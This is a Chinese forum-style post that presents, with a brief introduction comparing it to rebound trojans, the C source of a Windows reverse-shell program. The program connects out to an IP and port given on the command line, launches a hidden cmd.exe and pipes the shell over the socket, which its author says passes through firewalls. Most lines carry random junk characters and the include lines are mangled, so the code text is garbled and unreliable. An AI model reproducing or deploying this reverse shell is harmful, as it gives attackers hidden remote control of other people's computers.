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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %ymM#5A  
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/* ============================== 9/x_p;bI  
Rebound port in Windows NT N=X(G(  
By wind,2006/7 7Odw{pc  
===============================*/ W7ffdODb  
#include 7<ZCeM2x  
#include ;0!rq^JG  
{_{&t>s2  
#pragma comment(lib,"wsock32.lib") Ao/KB_4f*Q  
aAX(M=3  
void OutputShell(); u(`,7 o "  
SOCKET sClient; O)4P)KAO<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !ufSO9eDx"  
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void main(int argc,char **argv) (Z72 3)  
{ AX= 4{b'  
WSADATA stWsaData; s{]2~Z^2od  
int nRet; a#qC.,$A  
SOCKADDR_IN stSaiClient,stSaiServer; edW:(19}  
TnvX&Y'  
if(argc != 3) <RMrp@[  
{ [sT}hYh+  
printf("Useage:\n\rRebound DestIP DestPort\n"); ETA 1\  
return; ?H.7 WtTC  
} HAi'0%"  
C"We>!  
WSAStartup(MAKEWORD(2,2),&stWsaData); l$s8O0-'T  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =!RlU)w  
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stSaiClient.sin_family = AF_INET; =h{j F7  
stSaiClient.sin_port = htons(0); X!w&ib-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c G`R\ $  
du:%{4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JN Ur?+g  
{ k^ZcgHHgb  
printf("Bind Socket Failed!\n"); v^;%Fz_Dr  
return; ~e)`D nJ  
} ~/B[;#  
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stSaiServer.sin_family = AF_INET; 6,*o;<k[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iB:](Md'r  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F5#P{ zk|  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S1R:/9 z  
{ nDh D"rc  
printf("Connect Error!"); *:*Kdt`'G  
return; o y'GAc/  
} pd[?TyVK;  
OutputShell(); laQM*FLg  
} X8Xw'  
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void OutputShell() zoU-*Rs6  
{ -zq_W+)ks  
char szBuff[1024]; @AgV7#  
SECURITY_ATTRIBUTES stSecurityAttributes; 7:h8b/9  
OSVERSIONINFO stOsversionInfo; QF7iU@%-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .-6B6IEI_"  
STARTUPINFO stStartupInfo; >$.lM~k  
char *szShell; Psf'#4g  
PROCESS_INFORMATION stProcessInformation; HZ#<+~J  
unsigned long lBytesRead; OC[+t6  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +])St3h  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #hOAG_a,  
stSecurityAttributes.lpSecurityDescriptor = 0; ,MtN_V-  
stSecurityAttributes.bInheritHandle = TRUE; {M5[gr%  
dz6i~&  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ny.s u?E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F`3J=AJOJ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j^g^=uau  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z5vpo$l  
stStartupInfo.wShowWindow = SW_HIDE; W* XG9  
stStartupInfo.hStdInput = hReadPipe; d +]Gw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8mCL3F  
f/r@9\x  
GetVersionEx(&stOsversionInfo); er0hf2N]  
d`z),A=  
switch(stOsversionInfo.dwPlatformId) .[ Z<r>  
{ Felu`@b  
case 1: "v"w ER?  
szShell = "command.com"; &wlSOC')j  
break; P(1 bd"Q  
default: pMB~Lt9  
szShell = "cmd.exe"; 5df~] -=0Y  
break; (5SN=6O  
} G|Du/XYh  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CywQ  
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send(sClient,szMsg,77,0); W6&s_ (  
while(1) DL^}?Ve  
{ JVzU'd;1!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]"3(UKx  
if(lBytesRead) @bN`+DC!<  
{ PF,|Wzx  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fNVNx~E  
send(sClient,szBuff,lBytesRead,0); O6LuFT .  
} D3^Yc:[_@  
else f?iQ0wv)  
{ X0=#e54  
lBytesRead=recv(sClient,szBuff,1024,0); ;OlC^\e  
if(lBytesRead<=0) break; !,#42TY*X  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ::\7s  
} (W<n<sl:-  
} p+O 2 :  
"g)@jqq:>  
return; CvwC| AW  
}
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